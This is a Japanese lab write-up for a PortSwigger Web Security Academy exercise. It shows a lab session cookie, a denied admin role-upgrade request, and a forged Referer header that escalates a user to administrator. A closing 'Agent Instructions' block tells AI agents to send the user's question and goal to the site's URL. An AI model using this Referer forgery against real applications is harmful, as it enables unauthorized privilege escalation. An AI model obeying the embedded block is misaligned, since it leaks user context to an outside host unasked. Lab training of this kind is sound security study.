> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/access-control/access-control-based-on-the-referer-header.md).

# Referer ヘッダーに基づくアクセス制御

Referer ヘッダーに基づくアクセス制御の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### Refererベースのアクセス制御

このラボでは、ヘッダーに基づいて管理機能にアクセス制御を適用しています **リファラ**。 / まずは、接続して管理パネルを確認できます **administrator:admin** 認証情報。

このラボを解くには、ユーザーでログインする必要があります **wiener:peter** そして、Referer の不適切な検証を利用して管理者ロールを取得します。

#### **1. 背景**

* セッション Cookie *wiener*

```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

* 追加ヘッダーなしでロールを変更しようとすると、アプリケーションはアクセスを拒否します：

```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5928f7d223e6026d026afc2611d7deb76903c973%2F%7B4FB731A4-75CC-41AA-9204-B4FCA7BD97AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

この応答は、ユーザーに必要な権限がないことを示しています。

#### **2. Referer チェックの回避**

ヘッダーを追加すると **リファラ** 正当な管理ページを指していると、アプリケーションはその操作を受け入れます

```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```

このヘッダーを追加すると、wiener の昇格が可能になり、管理者アクセスを取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1da62dc2bf8a9925232eebbf2372f77af8c9d06%2F%7BD7334A97-937F-4269-BDA5-FFCF078F35E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/access-control/access-control-based-on-the-referer-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

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Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
